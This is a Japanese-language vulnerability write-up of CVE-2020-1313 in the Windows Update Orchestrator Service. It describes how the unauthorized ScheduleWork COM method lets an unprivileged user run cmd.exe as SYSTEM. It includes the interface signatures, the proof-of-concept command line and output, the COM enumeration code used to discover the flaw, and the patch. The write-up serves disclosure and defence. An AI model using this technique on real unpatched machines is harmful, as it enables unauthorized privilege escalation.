CVE-2020-1313

概要

Windows Update Orchestrator Service は、既にダウンロードされた Windows 更新プログラムをインストールするために他のコンポーネントによって使用される DCOM サービスです。USO は呼び出し元の不適切な承認により、特権の昇格 (任意のユーザーからローカルシステムへ) に対して脆弱でした。この脆弱性は Windows 10 および Windows Server Core 製品に影響を与えました。2020年6月の Patch Tuesday に Microsoft によって修正されました。

脆弱性の詳細

UniversalOrchestrator サービス (9C695035-48D2-4229-8B73-4C70E756E519) は usosvc.dll に実装されており、NT_AUTHORITY\SYSTEM として実行され、BUILTIN\Users (他にもあります) に対してアクセス許可が設定されています。このサービスによって実装された COM クラスの列挙はブロックされていますが (OLEView.NET: Error querying COM interfaces - ClassFactory cannot supply requested class)、プロキシ定義によって公開されている IUniversalOrchestrator インターフェイス (c53f3549-0dbf-429a-8297-c812ba00742d) は標準の COM API 呼び出しを介して取得できます。次の 3 つのメソッドがエクスポートされています。

	virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
	virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
	virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted

ScheduleWork メソッドは、サービスのコンテキストで実行されるコマンドをスケジュールするために使用でき、要求元の承認を必要とせずに実行できます。ただし、対象の実行可能ファイル自体はデジタル署名されており、c:\windows\system32 または Program Files の common files の下に配置されている必要がありますが、コマンドライン引数も指定できます。これにより、c:\windows\system32\cmd.exe を起動し、NT_AUTHORITY\SYSTEM の下で任意のコードを実行できるため、この問題はローカル特権昇格となります。

ワークは「スケジュール」されるだけで、即座に開始されるわけではありません。

概念実証

私が作成した PoC は、cmdLine c:\windows\system32\cmd.exe とパラメータ /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt" で「ワーク」を構成します。

実行:

	C:\111>whoami
	desktop-43rnlku\unprivileged

	C:\111>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled

	C:\111>whoami /priv

	C:\111>UniversalOrchestratorPrivEscPoc.exe
	Obtaining reference to IUniversalOrchestrator
	Scheduling work with id 56594
	Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.

スケジュールされたワークに関するエントリがレジストリに追加されます:

Registry entry

指定されたコマンドは、ユーザーの操作が予想されない夜間 (23:20 頃)、または SLA の 3 日が経過した後に実行されます。

この問題はどのように発見されたか？

OleView.NET で USO サービスのインターフェイス定義を取得できなかったため、何百もの CLSID/IID の組み合わせを調べ、ある程度機能すると予想されるスクリプトを作成しました。次のようなものです:

void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
	void *ss = NULL;
	IID iid;
	ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else

	HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);

	printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}

void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
	// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
	// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}

...

	TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
	TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
	TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
        // ... and hundreds of more

このアプローチの結果は次のとおりです:

	UniversalOrchestrator IUniversalOrchestrator: WORKING
	UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
	UxUpdateManager IUxUpdateManager: WORKING

その後、実装のリバースエンジニアリングを開始し、上記のフローを発見しました。

修正内容

Microsoft は、2020年6月の Patch Tuesday で、不足していた CoImpersonateClient API 呼び出しを追加してこの問題を修正しました。

修正適用前の実装:

Original implementation

修正適用後の実装:

The fix

これがどのように役立つのでしょうか？要求の処理の開始時に偽装が行われるため、レジストリを更新する API 呼び出しは呼び出し元のセキュリティコンテキストで実行されます。呼び出し元が HKEY_LOCAL_MACHINE に対する権限を持っていない場合、uso API メソッドは適切に失敗します。

クレジット

Imre Rad

詳細情報

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313

CVE-2020-1313

人気

CVE-2020-1313

概要

脆弱性の詳細

概念実証

この問題はどのように発見されたか？

修正内容

クレジット

詳細情報